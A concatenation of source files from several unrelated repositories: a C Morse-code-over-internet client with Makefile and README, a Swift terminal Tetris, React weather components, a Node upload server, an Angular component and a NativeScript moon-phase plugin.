TX_WAIT 5000 #define TX_TIMEOUT 240.0 #define KEEPALIVE_CYCLE 100 long key_press_t1; long key_release_t1; int last_message = 0; char last_sender[16]; /* settings */ int translate = 0; int audio_status = 1; /* portable time, as listed in https://gist.github.com/jbenet/1087739 */ void current_utc_time(struct timespec *ts) { #ifdef __MACH__ // OS X does not have clock_gettime, use clock_get_time clock_serv_t cclock; mach_timespec_t mts; host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &cclock); clock_get_time(cclock, &mts); mach_port_deallocate(mach_task_self(), cclock); ts->tv_sec = mts.tv_sec; ts->tv_nsec = mts.tv_nsec; #else clock_gettime(CLOCK_REALTIME, ts); #endif } /* a better clock() in milliseconds */ long fastclock(void) { struct timespec t; long r; current_utc_time (&t); r = t.tv_sec * 1000; r = r + t.tv_nsec / 1000000; return r; } int kbhit (void) { struct timeval tv; fd_set rdfs; tv.tv_sec = 0; tv.tv_usec = 0; FD_ZERO(&rdfs); FD_SET (STDIN_FILENO, &rdfs); select (STDIN_FILENO+1, &rdfs, NULL, NULL, &tv); return FD_ISSET(STDIN_FILENO, &rdfs); } /* get sockaddr, IPv4 or IPv6: */ void *get_in_addr(struct sockaddr *sa) { if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*)sa)->sin_addr); } return &(((struct sockaddr_in6*)sa)->sin6_addr); } // connect to server and send my id. void identifyclient(void) { tx_sequence++; id_packet.sequence = tx_sequence; send(fd_socket, &connect_packet, SIZE_COMMAND_PACKET, 0); send(fd_socket, &id_packet, SIZE_DATA_PACKET, 0); } // disconnect from the server void inthandler(int sig) { signal(sig, SIG_IGN); send(fd_socket, &disconnect_packet, SIZE_COMMAND_PACKET, 0); close(fd_socket); close(fd_serial); exit(1); } void txloop (void) { key_press_t1 = fastclock(); tx_timeout = 0; for(;;){ tx_data_packet.n++; tx_data_packet.code[tx_data_packet.n - 1] = (int) ((key_press_t1 - key_release_t1) * -1); //printf("space: %i\n", tx_data_packet.code[tx_data_packet.n -1]); while(serial_status & TIOCM_DSR) ioctl(fd_serial, TIOCMGET, &serial_status); key_release_t1 = fastclock(); tx_data_packet.n++; tx_data_packet.code[tx_data_packet.n - 1] = (int) ((key_release_t1 - key_press_t1) * 1); //printf("mark: %i\n", tx_data_packet.code[tx_data_packet.n -1]); while(1){ ioctl(fd_serial, TIOCMGET, &serial_status); if(serial_status & TIOCM_DSR) break; tx_timeout = fastclock() - key_release_t1; if(tx_timeout > TX_TIMEOUT) return; } key_press_t1 = fastclock(); if(tx_data_packet.n == SIZE_CODE) { printf("irmc: warning packet is full.\n"); return; } } } int commandmode(void) { char cmd[32]; int i; last_message = 0; /* reset status message */ printf("."); fgets(cmd, 32, stdin); if(strncmp(cmd, ".", 1) == 0){ printf("\n"); return 1; } if((strncmp(cmd, "latch", 3)) == 0){ tx_sequence++; tx_data_packet.sequence = tx_sequence; tx_data_packet.code[0] = -1; tx_data_packet.code[1] = 1; tx_data_packet.n = 2; for(i = 0; i < 5; i++) send(fd_socket, &tx_data_packet, SIZE_DATA_PACKET, 0); tx_data_packet.n = 0; return 0; } if((strncmp(cmd, "unlatch", 3)) == 0){ tx_sequence++; tx_data_packet.sequence = tx_sequence; tx_data_packet.code[0] = -1; tx_data_packet.code[1] = 2; tx_data_packet.n = 2; for(i = 0; i < 5; i++) send(fd_socket, &tx_data_packet, SIZE_DATA_PACKET, 0); tx_data_packet.n = 0; return 0; } if((strncmp(cmd, "ton", 3)) == 0){ translate = 1; return 0; } if((strncmp(cmd, "toff", 3)) == 0){ translate = 0; return 0; } if((strncmp(cmd, "aon", 3)) == 0){ audio_status = 1; return 0; } if((strncmp(cmd, "aoff", 3)) == 0){ audio_status = 0; return 0; } printf("?\n"); return 0; } void message(int msg) { switch(msg){ case 1: if(last_message == msg) return; if(last_message == 2) printf("\n"); last_message = msg; printf("irmc: transmitting...\n"); break; case 2: if(last_message == msg && strncmp(last_sender, rx_data_packet.id, 3) == 0) return; else { if(last_message == 2) printf("\n"); last_message = msg; strncpy(last_sender, rx_data_packet.id, 3); printf("irmc: receiving...(%s)\n", rx_data_packet.id); } break; case 3: printf("irmc: circuit was latched by %s.\n", rx_data_packet.id); break; case 4: printf("irmc: circuit was unlatched by %s.\n", rx_data_packet.id); break; default: break; } fflush(0); } int main(int argc, char *argv[]) { char buf[MAXDATASIZE]; struct addrinfo hints, *servinfo, *p; int rv, i; char s[INET6_ADDRSTRLEN]; int keepalive_t = 0; char hostname[64]; char port[16]; int channel; char id[SIZE_ID]; char serialport[64]; // Set default values snprintf(hostname, 64, "mtc-kob.dyndns.org"); snprintf(port, 16, "7890"); channel = 103; snprintf(id, SIZE_ID, "irmc-default"); snprintf(serialport, 64, "/dev/tty.usbserial"); // Read commandline opterr = 0; int c; while ((c = getopt (argc, argv, "h:p:c:i:s:")) != -1) { switch (c) { case 'h': snprintf(hostname, 64, "%s", optarg); break; case 'p': snprintf(port, 16, "%s", optarg); break; case 'c': channel = atoi (optarg); break; case 'i': snprintf(id, SIZE_ID, "%s", optarg); break; case 's': snprintf(serialport, 64, "%s", optarg); break; case '?': fprintf(stderr, "irmc - Internet Relay Morse Code\n\n"); fprintf(stderr, "usage: irmc [arguments]\n\n"); fprintf(stderr, "Arguments:\n\n"); fprintf(stderr, " -h [hostname] Hostname of morsekob server. Default: %s\n", hostname); fprintf(stderr, " -p [port] Port of morsekob server. Default: %s\n", port); fprintf(stderr, " -c [channel] Channel. Default: %d\n", channel); fprintf(stderr, " -i [id] My ID. Default: %s\n", id); fprintf(stderr, " -s [serialport] Serial port device name. Default: %s\n", serialport); return 1; default: abort (); } } // Preparing connection fprintf(stderr, "irmc - Internet Relay Morse Code\n\n"); fprintf(stderr, "Connecting to %s:%s on channel %d with ID %s.\n", hostname, port, channel, id); prepare_id (&id_packet, id); prepare_tx (&tx_data_packet, id); connect_packet.channel = channel; signal(SIGINT, inthandler); memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; /* ipv4 or ipv6 */ hints.ai_socktype = SOCK_DGRAM; if ((rv = getaddrinfo(hostname, port, &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; } /* Find the first free socket */ for(p = servinfo; p != NULL; p = p->ai_next) { if ((fd_socket = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror("irmc: socket"); continue; } if (connect(fd_socket, p->ai_addr, p->ai_addrlen) == -1) { close(fd_socket); perror("irmc: connect"); continue; } break; } fcntl(fd_socket, F_SETFL, O_NONBLOCK); if (p == NULL) { fprintf(stderr, "Failed to connect.\n"); return 2; } inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr), s, sizeof s); fprintf(stderr, "Connected to %s.\n", s); beep_init(); fd_serial = open(serialport, O_RDWR | O_NOCTTY | O_NDELAY); if(fd_serial == -1) { fprintf(stderr,"Unable to open serial port %s.\n", serialport); } freeaddrinfo(servinfo); /* all done with this structure */ key_release_t1 = fastclock(); identifyclient(); /* Main Loop */ for(;;) { if(tx_timer == 0) if((numbytes = recv(fd_socket, buf, MAXDATASIZE-1, 0)) == -1) usleep(250); if(numbytes == SIZE_DATA_PACKET && tx_timer == 0){ memcpy(&rx_data_packet, buf, SIZE_DATA_PACKET); #if DEBUG printf("length: %i\n", rx_data_packet.length); printf("id: %s\n", rx_data_packet.id); printf("sequence no.: %i\n", rx_data_packet.sequence); printf("version: %s\n", rx_data_packet.status); printf("n: %i\n", rx_data_packet.n); printf("code:\n"); for(i = 0; i < SIZE_CODE; i++)printf("%i ", rx_data_packet.code[i]); printf("\n"); #endif if(rx_data_packet.n > 0 && rx_sequence != rx_data_packet.sequence){ message(2); if(translate == 1){ printf("%s", rx_data_packet.status); fflush(0); } rx_sequence = rx_data_packet.sequence; for(i = 0; i < rx_data_packet.n; i++){ switch(rx_data_packet.code[i]){ case 1: message(3); break; case 2: message(4); break; default: if(audio_status == 1) { int length = rx_data_packet.code[i]; if(length == 0 || abs(length) > 2000) { } else { if(length < 0) { beep(0.0, abs(length)/1000.); } else { beep(1000.0, length/1000.); } } } break; } } } } if(tx_timer > 0) tx_timer--; if(tx_data_packet.n > 1 ){ tx_sequence++; tx_data_packet.sequence = tx_sequence; for(i = 0; i < 5; i++) send(fd_socket, &tx_data_packet, SIZE_DATA_PACKET, 0); #if DEBUG printf("irmc: sent data packet.\n"); #endif tx_data_packet.n = 0; } ioctl(fd_serial,TIOCMGET, &serial_status); if(serial_status & TIOCM_DSR){ txloop(); tx_timer = TX_WAIT; message(1); } if(keepalive_t < 0 && tx_timer == 0){ #if DEBUG printf("keep alive sent.\n"); #endif identifyclient(); keepalive_t = KEEPALIVE_CYCLE; } if(tx_timer == 0) { keepalive_t--; usleep(50); } if(kbhit() && tx_timer == 0){ getchar(); /* flush the buffer */ if(commandmode()== 1)break; } } /* End of mainloop */ send(fd_socket, &disconnect_packet, SIZE_COMMAND_PACKET, 0); close(fd_socket); close(fd_serial); exit(0); } <file_sep>/src/Makefile SRC = irmc.c cwprotocol.c OBJ = ${SRC:.c=.o} LDFLAGS = -L/usr/local/lib -L/opt/local/lib -lm -lmorse CFLAGS = -I/usr/local/include -I/opt/local/include -Wall INSTALLDIR = ${HOME}/bin all: options irmc options: @echo irmc build options: @echo "CFLAGS = ${CFLAGS}" @echo "LDFLAGS = ${LDFLAGS}" @echo "CC = ${CC}" @echo "INSTALLDIR = ${INSTALLDIR}" .c.o: @echo CC $< @${CC} -c ${CFLAGS} $< irmc: ${OBJ} @echo CC -o $@ @${CC} -o $@ ${OBJ} ${LDFLAGS} java: java -jar test/MorseKOB.jar clean: @echo cleaning @rm -f irmc irmc.core ${OBJ} install: irmc cp irmc ${INSTALLDIR} <file_sep>/README.md irmc - Internet Relay Morse Code ================================ IRMC stands for Internet Relay Morse Code and is an implementation of [MOIP](http://8ch9azbsfifz.github.io/moip/). # How to build? ## Install dependency: morse keyer library ``` wget https://github.com/8cH9azbsFifZ/morse/archive/v0.1.tar.gz tar xzf v0.1.tar.gz cd morse-0.1 libtoolize ./autogen.sh ./configure --with-portaudio make sudo make install ``` ## Debian (Wheezy) Some dependencies have to be installed: ``` apt-get install -y alsa-oss oss-compat build-essential autoconf libao-dev libtool ``` Afterwards compilation with `make` should work. If something went wrong, you may have to adjust your `LD_LIBRARY_PATH`. Alternatively try: ``` LD_LIBRARY_PATH=/usr/local/lib ./irmc mtc-kob.dyndns.org 7890 33 123 ``` ## OSX (Yosemite) Compilation with make :) For the USB serial devices you need a PL2303 driver (i.e. [PL2303_Serial-USB_on_OSX_Lion.pkg](http://changux.co/osx-installer-to-pl2303-serial-usb-on-osx-lio/)). # Hardware interface options A good description on how to build different interfaces (telegraph key, sounder or both) is given on the [MorseKOB Website](http://kob.sdf.org/morsekob/interface.htm). Landline telegraphs use "closed circuits" for communications; if you have built one at home, you may also use the [loop interface](http://kob.sdf.org/morsekob/docs/loopinterface.pdf). Connection of a morse key: [layout of pins](http://techpubs.sgi.com/library/dynaweb_docs/0650/SGI_Admin/books/MUX_IG/sgi_html/figures/4-2.serial.port.con.gif) | RS232 | DB9 | Function | | :-------- |:-------| :------ | | DTR | 4 | Manual Key / paddle common| | DSR | 6 | Manual key / dot paddle| | CTS | 8 | Dash paddle| | RTS | 7 | Sounder output| | SG | 5 | Sounder ground| # Changelog * v0.3 [zip](https://github.com/8cH9azbsFifZ/irmc/archive/v0.3.zip) - commandline option cleanup * v0.2 [zip](https://github.com/8cH9azbsFifZ/irmc/archive/v0.2.zip) - ported to debian wheezy and osx yosemite, DG6FL * v0.1 [zip](https://github.com/8cH9azbsFifZ/irmc/archive/v0.1.zip) - original version, VE7FEB Code Quality ============ This is experimental code.
40a2da39169fc87da72c0450563bd020c1dc0a56
[ "Markdown", "C", "Makefile" ]
4
C
mstramb/irmc
c464cc7dcb4671b1ec52ac274b37c1e2dc447ef4
5c3c2ff7ded0200fa865ca67b972c6806343afc1
refs/heads/master
<file_sep>// // main.swift // tetrisCommandLine002 // // Created by pair on 1/12/17. // Copyright © 2017 <NAME> All rights reserved. // import Foundation var gameScreen = [[0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0]] let l = [[0,1,0,0,0], [0,1,0,0,0], [0,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0]] let l2 = [[0,0,1,0,0], [0,0,1,0,0], [0,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0]] let i = [[0,1,0,0,0], [0,1,0,0,0], [0,1,0,0,0], [0,1,0,0,0], [0,0,0,0,0]] let t = [[0,0,0,0,0], [0,1,1,1,0], [0,0,1,0,0], [0,0,0,0,0], [0,0,0,0,0]] let s = [[0,1,0,0,0], [0,1,1,0,0], [0,0,1,0,0], [0,0,0,0,0], [0,0,0,0,0]] let z = [[0,0,1,0,0], [0,1,1,0,0], [0,1,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let o = [[0,1,1,0,0], [0,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let pieces: [[[Int]]] = [l, l2, i, t, s, z, o] var time: Int = 0 var score: Int = 0 var level: Int = 1 var lines: Int = 0 var pieceOffset: (Int,Int) = (gameScreen[0].count / 2, 0) func displayStats() { print("FULL LINES: " + String(lines)) print("TIME: " + String(time)) print("LEVEL: " + String(level)) print("SCORE: " + String(score)) } func getRandomPieceFrom(pieces: [[[Int]]]) -> [[Int]]{ let randomInt: Int = Int(arc4random_uniform(UInt32(pieces.count))) return pieces[randomInt] } var currentPiece: [[Int]] = [[]] var nextPiece: [[Int]] = [[]] func displayPiece(inputPiece: [[Int]]) { for height_index in 0...inputPiece.count - 1 { for width_index in 0...(inputPiece[0].count - 1) { if(inputPiece[height_index][width_index] == 0) { print(" ", terminator:"") } else { print("[]", terminator:"") } } print() // prints new line character } } func rotate(inputPiece: [[Int]]) -> [[Int]]{ var returnPiece: [[Int]] = [[]] let lRotated = [[0,0,1,0,0], [1,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let l2Rotated = [[0,1,0,0,0], [0,1,1,1,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let iRotated = [[0,0,0,0,0], [1,1,1,1,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let tRotated = [[0,0,1,0,0], [0,0,1,1,0], [0,0,1,0,0], [0,0,0,0,0], [0,0,0,0,0]] let sRotated = [[0,0,1,1,0], [0,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let zRotated = [[1,1,0,0,0], [0,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] let oRotated = [[0,1,1,0,0], [0,1,1,0,0], [0,0,0,0,0], [0,0,0,0,0], [0,0,0,0,0]] // if(inputPiece == l2Rotated) { // // if(inputPiece == l) { // returnPiece = l // } else if(inputPiece == l) { // returnPiece = l // } return returnPiece } // UNIPLEMENTED func getvalueAtCoords(x: Int, y: Int, inputArray: [[Int]]) -> Int { return inputArray[y][x] } func setValueAtCoords(x: Int, y: Int, inputArray: [[Int]], inputValue: Int) -> [[Int]] { var returnArray: [[Int]] = inputArray returnArray[x][y] = inputValue return returnArray } func printGameScreen() { for height_index in 0...gameScreen.count - 1 { // print sides of game screen if(height_index == 0 || height_index < gameScreen.count) { print("<!", terminator:"") } for width_index in 0...(gameScreen[0].count - 1) { if(gameScreen[height_index][width_index] == 0) { print(" .", terminator:"") } else { print("[]", terminator:"") } } // print sides of game screen if(height_index == 0 || height_index < gameScreen.count) { print("!>", terminator:"") } print() // prints new line character // print sides of game screen if(height_index == 19 ) { print("<!********************!>") print(" \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/") } } } func showPieceOn(screen: [[Int]], piece: [[Int]]) -> [[Int]] { var returnScreen = screen for height_index in 0...l.count - 1 { for width_index in 0...l[0].count - 1 { if(getvalueAtCoords(x: width_index, y: height_index, inputArray: piece) == 1) { if((height_index + pieceOffset.1 < gameScreen.count - 1) && (width_index + pieceOffset.0 < gameScreen[0].count - 1)) { returnScreen[height_index + pieceOffset.1][width_index + pieceOffset.0] = 1 } } } } return returnScreen } func addPieceTo(screen: [[Int]]) -> [[Int]]{ var returnScreen = screen for height_index in 0...l.count - 1 { for width_index in 0...l[0].count - 1 { if(getvalueAtCoords(x: width_index, y: height_index, inputArray: currentPiece) == 1) { returnScreen[height_index + pieceOffset.1][width_index + pieceOffset.0] = 1 } } } return returnScreen } func moveDown(piece: [[Int]]) { if(pieceOffset.1 < gameScreen.count - 3) { // watches for bottom row collision pieceOffset.1 = pieceOffset.1 + 1 gameScreen = showPieceOn(screen: gameScreen, piece: currentPiece) } else { gameScreen = addPieceTo(screen: gameScreen) currentPiece = nextPiece nextPiece = getRandomPieceFrom(pieces: pieces) pieceOffset.1 = 0 pieceOffset.0 = gameScreen[0].count / 2 } } // Clears the console (refreshes view) func clearDaConsole() { // Creates Apple Script to clear the console let scriptText = "tell application \"Xcode\"\n activate\n tell application \"System Events\"\n keystroke \"k\" using command down\n end tell\n end tell " let clearScript: NSAppleScript = NSAppleScript(source: scriptText)! var error: NSDictionary? clearScript.executeAndReturnError(&error) } func testClearConsole() { print("This message will self destruct in 4 seconds") sleep(4) clearDaConsole() print("MORE STUFF TO CLEAR") sleep(4) CPlusWrapper().daClearScreenWrapped() print("MORE STUFF WAS CLEARED...Now to clear this a different way") sleep(4) sleep(4) CPlusWrapper().daClearScreen2Wrapped() print("MORE STUFF WAS CLEARED AGAIN") sleep(4) } func runGameLoop() { while(true) { // Moves piece down moveDown(piece: currentPiece) displayStats() print("NEXT PIECE: ") displayPiece(inputPiece: nextPiece) // Prints updated screen printGameScreen() // Waits for a second sleep(1) // Updates time time = time + 1 // Clears the screen //clearDaConsole() // XCODE console cuts off output (varies) CPlusWrapper().daClearScreenWrapped() // CONSOLE APP } } // Run currentPiece = getRandomPieceFrom(pieces: pieces) nextPiece = getRandomPieceFrom(pieces: pieces) runGameLoop()
37c27bb0647a574f18e16038a68dd1b538d7155e
[ "Swift" ]
1
Swift
davidkneely/tetrisCommandLine002
dc72ddae6b65b944a95122a9dd19fe665ef02319
6f2fd8e5e9ad725893f387cee232b01f0a303b1b
refs/heads/master
<file_sep>import React, { Component } from 'react'; class Searchbox extends Component { constructor(props) { super(props); this.state = { text: '', cities: {} } this.handleChange = this.handleChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); } handleChange(event) { this.setState({text: event.target.value}); } handleSubmit(event) { alert('submitted: ' + this.state.text); event.preventDefault(); // NEXT REDIRECT TO SEARCH } render() { return ( <div class="row text-center mb-30 mt-30" onSubmit={this.handleSubmit}> <div class="col-sm-12"> <form class="navbar-form" role="search"> <div class="input-group add-on"> <input class="form-control" placeholder="Search" name="srch-term" id="srch-term" type="text" value={this.state.text} onChange={this.handleChange} /> <div class="input-group-btn"> <button type="submit" class="btn btn-default">Search</button> </div> </div> </form> </div> </div> ); } } export default Searchbox; <file_sep>import React, { Component } from 'react'; import Searchbox from "./Searchbox"; import Weather from "./Weather"; class Home extends Component { constructor(props) { super(props); this.state = { keyword: "", cities: [ { woeid: 2344116, name: 'Istanbul' }, { woeid: 638242, name: 'Berlin' }, { woeid: 44418, name: 'London' }, { woeid: 565346, name: 'Helsinki' }, { woeid: 560743, name: 'Dublin' }, { woeid: 9807, name: 'Vancouver' } ] }; } render() { return ( <div class="page-container container mt-15"> <div class="row"> <div class="col-sm-12"> <Searchbox keyword={this.state.keyword}/> <div class="row text-center"> {this.state.cities.map((city, index) => <Weather id={city.woeid} index="0"/> )} </div> </div> </div> </div> ); } } export default Home;<file_sep># weather-react simple weather app using reactjs
f6f6fa9cdc241bd589b6b33e0d910c9b07df628c
[ "JavaScript", "Markdown" ]
3
JavaScript
vendera-hadi/weather-react
6cbefe9ee54ebfce2042894497d2ed5ccfc9f44b
fb995d308ea0116d694ece40921a4ef25b5e7c4f
refs/heads/master
<repo_name>spanningtime/file_upload<file_sep>/server.js /*Define dependencies.*/ var express = require('express'); var multer = require('multer'); var app = express(); var parseString = require('xml2js').parseString const util = require('util'); /*Configure the multer.*/ var upload = multer({ storage }); var storage = multer({inMemory: true}) /*Handling routes.*/ app.get('/', (req,res) => { res.sendFile(__dirname + "/index.html"); }); app.post('/upload', upload.single('songlist'), (req,res) => { const buf = req.file.buffer; const str = buf.toString('utf8') const tracksArray = []; parseString(str, (err, result) => { const tracks = result.plist.dict[0].dict[0].dict; for (track of tracks) { trackObj = {} trackObj.title = track.string[0]; trackObj.artist = track.string[1]; tracksArray.push(trackObj); } }); res.status(204).end(); }); /*Run the server.*/ app.listen(3000,function(){ console.log("Working on port 3000"); });
1d5add46521662beec906d4cb7930cfbe4a29dd6
[ "JavaScript" ]
1
JavaScript
spanningtime/file_upload
0442612eff05a7c8c9bb9085987d8d136c63d04d
937788764a1125ad9aa6b4de13016a630d9cacfe
refs/heads/master
<file_sep>import {Component} from '@angular/core'; import {HttpClient} from "@angular/common/http"; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent{ //title = 'environmental based application search'; private title; constructor(private http: HttpClient) { this.getData(); } getData() { this.http .get('http://localhost:8080', {responseType: 'text'}) .subscribe(data => { this.title = data; }); } }
b7a896e5baef2e9c4587b03d4215d98ad1d9ad98
[ "TypeScript" ]
1
TypeScript
NillaSandeep/SearchTransformationFrontEnd
dac34bc3d457b975b90b8fa667c3e1ad6fa2ebe8
f721cf0983d1de4195f6952b4054f67f41d43476
refs/heads/master
<repo_name>rkhayyat/nativescript-moon-phase<file_sep>/moon-phase.android.ts import { Common, MoonPhaseBase, Utils, dateProperty } from './moon-phase.common'; import {moonImage} from './moonImages'; export class Hijri extends Common { } export class MoonPhase extends MoonPhaseBase { constructor() { super(); } [dateProperty.setNative](value) { this.src = moonImage[Utils.getDay(value, 0)]; this.width = 100; }; }<file_sep>/language.d.ts export declare const Arabic: { wdNames: string[]; MonthNames: string[]; }; export declare const English: { wdNames: string[]; MonthNames: string[]; }; <file_sep>/README.md [![npm](https://img.shields.io/npm/v/nativescript-moon-phase.svg)](https://www.npmjs.com/package/nativescript-moon-phase) [![npm](https://img.shields.io/npm/dt/nativescript-moon-phase.svg?label=npm%20downloads)](https://www.npmjs.com/package/nativescript-moon-phase) [![twitter: @rakhayyat](https://img.shields.io/badge/twitter-%40rakhayyat-2F98C1.svg)](https://twitter.com/rakhayyat) [![NPM](https://nodei.co/npm/nativescript-moon-phase.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/nativescript-moon-phase/) # Nativescript moon phase plugin This plugin is a complementary to my previous one that converts from gregorian to hijri dates https://github.com/rkhayyat/nativescript-hijri # Nativescript-moon-phase Moon Phase plugin allows you show the moon phase for a given date. <p align="center"> <img src="https://github.com/rkhayyat/nativescript-moon-phase/blob/master/screenshot/nativescript-moon.gif" width="300"/> </p> ## Installation ```javascript tns plugin add nativescript-moon-phase ``` ## Usage ## Typescript NativeScript ### XML ```xml <Page xmlns="http://schemas.nativescript.org/tns.xsd" xmlns:customControls="nativescript-moon-phase" loaded="pageLoaded" class="page"> <StackLayout class="p-20"> <customControls:MoonPhase items="{{ DateValue }}" /> <DatePicker id="date" loaded="onPickerLoaded" dateChange="onDateChanged" verticalAlignment="center"> </DatePicker> <Button text="Valider" tap="see"></Button> </StackLayout> </Page> ``` ### main-view-model ```typescript import {Observable} from 'tns-core-modules/data/observable'; import {Hijri} from 'nativescript-moon-phase'; export class HelloWorldModel extends Observable { public monthText : string; public DateValue: Date; constructor(currentDate) { super(); this.DateValue = currentDate; } } ``` ### main-page ```typescript import * as observable from 'tns-core-modules/data/observable'; import * as pages from 'tns-core-modules/ui/page'; import { DatePicker } from "tns-core-modules/ui/date-picker"; import {HelloWorldModel} from './main-view-model'; var view = require("ui/core/view"); var MainViewModel = require("./main-view-model"); let page; // Event handler for Page 'loaded' event attached in main-page.xml export function pageLoaded(args: observable.EventData) { page = <pages.Page>args.object; page.bindingContext = new HelloWorldModel(new Date()); } exports.see = function(args) { var sender = args.object; var parent = sender.parent; var year = view.getViewById(parent,"date").year; var month = view.getViewById(parent,"date").month var day = view.getViewById(parent,"date").day; var convertDate = new Date(year, month-1, day); page.bindingContext = new HelloWorldModel(convertDate); } ``` ## API ### Methods | Method | Return | Description | | --- | --- | --- | | `items` | `Date` | Date passed to show the corseponding moon phase image. | ## NativeBaguette 🥖 [<img alt="<NAME>" src="https://avatars1.githubusercontent.com/u/10686043?v=3&s=400" width="117">](https://github.com/rkhayyat) | :---: | [rkhayyat](https://github.com/rkhayyat) | <file_sep>/index.d.ts import { Common } from './moon-phase.common'; export declare class Hijri extends Common { constructor(date, shift); dayOfWeekText: string; dayOfWeek: string; dayOfMonth:number; month:number; monthText:string; year:number } export declare interface islamicDateObject { dayOfWeekText: string; dayOfWeek: string; dayOfMonth:number; month:number; monthText:string; year:number } <file_sep>/moon-phase.common.ts import { Observable } from 'data/observable'; import { Property } from "tns-core-modules/ui/core/properties"; import * as app from 'application'; import {Arabic, English} from './language'; import {HijriFunction} from './basecal'; import {Image} from 'tns-core-modules/ui/image'; export class Common extends Observable { public hijri_ar: islamicDateObject; public hijri_en: islamicDateObject; public getYear:number; public getMonth:number; public getDay:number; public getMonthName_Ar:string; public getDayName_Ar:string; public getMonthName_En:string; public getDayName_En:string; constructor(date, shift) { super(); this.hijri_ar = Utils.Hijri_Date_AR(date, shift); this.hijri_en = Utils.Hijri_Date_EN(date, shift); this.getYear = Utils.getYear(date, shift); this.getMonth = Utils.getMonth(date, shift); this.getDay = Utils.getDay(date, shift); this.getMonthName_Ar = Utils.getMonthName_Ar(date, shift); this.getDayName_Ar = Utils.getDayName_Ar(date, shift); this.getMonthName_En = Utils.getMonthName_En(date, shift); this.getDayName_En = Utils.getDayName_En(date, shift); } } export class Utils { public static getYear(date, shift):number{ let _hijriFunction = new HijriFunction(); let year:number = _hijriFunction.basecal(date, shift)[7]; return year; } public static getMonth(date, shift):number{ let _hijriFunction = new HijriFunction(); let month:number = _hijriFunction.basecal(date, shift)[6]+1; return month; } public static getDay(date, shift):number{ let _hijriFunction = new HijriFunction(); let day:number = _hijriFunction.basecal(date, shift)[5]; return day; } public static getMonthName_Ar(date, shift):string{ let _hijriFunction = new HijriFunction(); let monthName_Ar:string = Arabic.MonthNames[_hijriFunction.basecal(date, shift)[6]]; return monthName_Ar; } public static getDayName_Ar(date, shift):string{ let _hijriFunction = new HijriFunction(); let dayName_Ar:string = Arabic.wdNames[_hijriFunction.basecal(date, shift)[4]]; return dayName_Ar; } public static getMonthName_En(date, shift):string{ let _hijriFunction = new HijriFunction(); let monthName_En:string = English.MonthNames[_hijriFunction.basecal(date, shift)[6]]; return monthName_En; } public static getDayName_En(date, shift):string{ let _hijriFunction = new HijriFunction(); let dayName_En:string = English.wdNames[_hijriFunction.basecal(date, shift)[4]]; return dayName_En; } public static Hijri_Date_AR(date, shift): islamicDateObject { let _hijriFunction = new HijriFunction(); let hijriDate:islamicDateObject; hijriDate = { dayOfWeekText:Arabic.wdNames[_hijriFunction.basecal(date, shift)[4]] , dayOfWeek:_hijriFunction.basecal(date, shift)[4]+1, dayOfMonth:_hijriFunction.basecal(date, shift)[5], month:_hijriFunction.basecal(date, shift)[6]+1, monthText:Arabic.MonthNames[_hijriFunction.basecal(date, shift)[6]], year:_hijriFunction.basecal(date, shift)[7] }; return hijriDate; } public static Hijri_Date_EN(date, shift): islamicDateObject { let hijriDate:islamicDateObject; let _hijriFunction = new HijriFunction(); hijriDate = { dayOfWeekText:English.wdNames[_hijriFunction.basecal(date, shift)[4]] , dayOfWeek:_hijriFunction.basecal(date, shift)[4]+1, dayOfMonth:_hijriFunction.basecal(date, shift)[5], month:_hijriFunction.basecal(date, shift)[6]+1, monthText:English.MonthNames[_hijriFunction.basecal(date, shift)[6]], year:_hijriFunction.basecal(date, shift)[7] }; return hijriDate; } } export class islamicDateObject { dayOfWeekText: string; dayOfWeek: number; dayOfMonth:number; month:number; monthText:string; year:number } export class MoonPhaseBase extends Image { } export const dateProperty = new Property<MoonPhaseBase, any[]>({ name: "items", equalityComparer: (a: any[], b: any[]) => !a && !b && a.length === b.length }); dateProperty.register(MoonPhaseBase);<file_sep>/moonImages.d.ts export declare const moonImage: string[]; <file_sep>/demo/app/main-page.ts import * as observable from 'tns-core-modules/data/observable'; import * as pages from 'tns-core-modules/ui/page'; import { DatePicker } from "tns-core-modules/ui/date-picker"; import {HelloWorldModel} from './main-view-model'; var view = require("ui/core/view"); var MainViewModel = require("./main-view-model"); let page; // Event handler for Page 'loaded' event attached in main-page.xml export function pageLoaded(args: observable.EventData) { page = <pages.Page>args.object; page.bindingContext = new HelloWorldModel(new Date()); // Get the event sender } export function onPickerLoaded(args) { let datePicker = <DatePicker>args.object; datePicker.year = (new Date()).getFullYear(); datePicker.month = (new Date()).getMonth() + 1; datePicker.day = (new Date()).getDate(); datePicker.minDate 